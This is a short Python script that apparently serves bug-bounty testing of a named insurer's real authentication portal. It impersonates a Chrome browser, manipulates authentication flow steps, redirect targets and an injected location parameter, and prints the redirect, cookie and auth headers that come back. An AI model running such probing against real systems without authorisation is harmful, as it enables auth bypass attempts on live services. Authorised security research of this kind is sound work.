from curl_cffi import requests
import json
BASE='https://mein-portal.baloise.de/auth'; ID={'X-Bug-Bounty':'dwbzn'}
def show(tag,r):
 print('\n###',tag,'id',getattr(r,'toadex_exchange_id',None),'status',r.status_code)
 print({k:v for k,v in r.headers.items() if k.lower() in ['x-forward-url','location','set-cookie','www-authenticate']})
 print(r.text[:6000])
def fresh(app='portal_ao'):
 s=requests.Session(impersonate='chrome'); s.get(BASE+'/ui/app/auth/application/access',headers=ID,timeout=30)
 h={**ID,'X-Same-Domain':'1','X-CSRFT759':s.cookies.get('CSRFT759-S') or '','Accept':'application/json, application/vnd.api+json','Content-Type':'application/json'}
 s.delete(BASE+'/rest/public/authentication/flow',headers=h,timeout=30)
 r=s.post(BASE+f'/rest/public/authentication/applications/{app}/access',headers=h,json={'location':'https://infoportal.baloise.de/api/jsonws'},timeout=30); show('start '+app,r)
 return s,h
for target in ['bugbounty-nonexistent','portal-redirect']:
 s,h=fresh()
 r=s.post(BASE+f'/rest/public/authentication/dynamic-steps/{target}/activate',headers=h,data=b'null',timeout=30); show('activate '+target,r)
 r=s.post(BASE+'/rest/public/authentication/applications/portal_ao/access',headers=h,data=b'null',timeout=30); show('continue after '+target,r)
 if target=='portal-redirect':
  r=s.post(BASE+'/rest/public/authentication/goto-targets/portal-redirect/goto',headers=h,data=b'null',timeout=30); show('goto portal-redirect',r)
  r=s.post(BASE+'/rest/public/authentication/dynamic-steps/portal-redirect/deactivate',headers=h,data=b'null',timeout=30); show('deactivate portal-redirect',r)
